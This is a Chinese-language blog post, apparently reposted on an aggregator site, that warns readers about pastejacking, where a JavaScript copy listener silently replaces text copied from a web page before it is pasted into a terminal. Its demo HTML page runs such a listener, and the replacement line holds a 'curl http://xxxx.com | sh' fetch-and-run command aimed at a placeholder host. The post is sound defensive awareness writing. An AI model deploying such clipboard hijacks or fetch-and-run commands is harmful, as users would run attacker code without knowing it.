还在复制粘贴网站 shell 命令?小心有毒!
Posted 亦枫Blog
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了还在复制粘贴网站 shell 命令?小心有毒!相关的知识,希望对你有一定的参考价值。
我们在使用终端工具的过程中,很多人都有一个习惯,就是复制浏览器里面的 command 命令语句,直接粘贴到本地的 Terminal 工具中。
殊不知,这种看似简单的复制粘贴其实是一个很危险的操作。
javascript 提供的监听事件类 APIs 能够覆盖用户的原本操作意图,具体到复制粘贴事件,就是能够覆盖掉用户通过光标选中的文本内容,向系统剪贴板中写入新的内容。
具体到代码上,就是 addEventListener 函数,js 代码也就是类似这样写,监听用户的 copy 操作,修改写入剪贴板中的内容:
<script>document.getElementById('copyme').addEventListener('copy', function(e)
e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\\n');
e.preventDefault();
);
</script>
这是一个简单的完整例子,大家可以保存为一个 demo.html 文件,用浏览器打开操作,复制粘贴这行 echo 语句试一试(测试代码是安全的):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Terminal 复制粘贴</title>
<link href="data:," rel="icon" />
<style>mainmargin:auto;max-width:48emprebackground-color:#d3d3d3;padding:1emcodebackground-color:#d3d3d3footerfont-style:italic;margin-top:3emhrwidth:60%h1,h2,h3,h4,h5color:#006400tableborder-collapse:collapse;border-spacing:0th,tdborder:2px solid silver;padding:4px</style>
</head>
<body>
<p id="copyme" style="background-color:red;">echo "looks safe to me!"</p>
<script>document.getElementById('copyme').addEventListener('copy', function(e)
e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\\n');
e.preventDefault();
);
</script>
</body>
</html>
拿这段代码来说,用户正常使用是不知道背后的代码的,一旦发生指定 html 元素的复制操作时,写入剪贴板中的原本内容会自动被覆盖改变,粘贴到 Terminal 工具时,还会自动执行新的陌生命令。
不需要任何权限,用户甚至不需要按下 Enter 回车键,黑客的代码就自动执行了。至于会发生什么的后果,那就看黑客的代码怎么写了。
其实国内很多知名网站(CSDN、简书等)为了保护自己的版权信息,都会添加这种类似操作,监听用户的选中文本复制行为,默认在复制内容末尾跟上自己网站的网址等信息。
当然,常用正规网站复制的内容多数都是安全的。我们在访问一些小网站时,就要多加注意了,不要轻易往自己的终端工具中复制粘贴。
长按识别二维码,即可关注我
原创推荐
android getevent sendevent input 接收发送事件
以上是关于还在复制粘贴网站 shell 命令?小心有毒!的主要内容,如果未能解决你的问题,请参考以下文章